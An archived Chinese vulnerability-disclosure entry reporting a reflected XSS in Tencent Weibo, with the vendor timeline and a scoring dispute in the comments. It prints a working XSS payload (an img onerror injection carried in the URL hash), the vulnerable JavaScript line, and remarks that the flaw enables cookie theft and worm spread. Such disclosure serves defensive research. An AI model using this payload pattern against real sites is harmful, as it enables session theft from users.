腾讯微博一处js代码引起的反射xss

编号2158
Urlhttp://www.wooyun.org/bug.php?action=view&id=2158
漏洞状态厂商已经确认
漏洞标题腾讯微博一处js代码引起的反射xss
漏洞类型XSS跨站脚本攻击
厂商腾讯
白帽子呆子不开口
提交日期2011-05-20 16:23:00
公开日期2011-06-19 21:00:00
修复时间(not set)
确认时间2011-05-22 00:00:00
Confirm Spend2
漏洞标签反射型xss javascript里进行xss javascript上下文xss
关注数0
收藏数0
白帽评级
白帽自评rank9
厂商评级
厂商评rank1
漏洞简介
腾讯微博一处js代码引起的反射xss
漏洞细节

下面为代码

<script>
document.location = "http://t.qq.com/p/city?s=31#hello\">a</a><img src='#' onerror='alert(1)'><a href=\"";
</script>


问题处在这

if(name) html.push('<li class="nobg"><a href="'+href+'" title="'+name+'">'+name+'</a></li>');

POC

苍天在上

修复方案

使用href时注意出现的位置,不要让它突破了html语义

状态信息 2011-05-20: 细节已通知厂商并且等待厂商处理中
2011-05-22: 厂商已经确认,细节仅向厂商公开
2011-06-01: 细节向核心白帽子及相关领域专家公开
2011-06-11: 细节向普通白帽子公开
2011-06-21: 细节向实习白帽子公开
2011-06-19: 细节向公众公开
厂商回复thx
回应信息危害等级:低漏洞Rank:1 确认时间:2011-05-22 18:54
Showing 1-3 of 3 items.
评论内容评论人点赞数评论时间

嗯,了解了。不过有点异见啊,我觉得标准有问题啊,反射xss怎么也得跟csrf差不多吧。还有,为何不能掺入人的因素呢。法律陪审团,跳水裁判,中国达人秀,春晚我最喜爱的小品节目等,不都有人的因素么

呆子不开口02011-05-24 10:37:00

不好意思啊。标准是这样的:这是反射XSS,所以分值比较低。我们只是按照统一的标准来评估,避免由于人的因素影响结果,并非是说你反馈的漏洞无价值。抱歉

腾讯02011-05-23 09:43:00

另外一个只能发帖的csrf给了我6分而这个能在IE,chrome等浏览器下传播蠕虫的xss才给一分?这个xss可以盗取用户cookie,污染用户cookie,强行关注,发帖……晕了,什么标准?

呆子不开口02011-05-23 02:56:00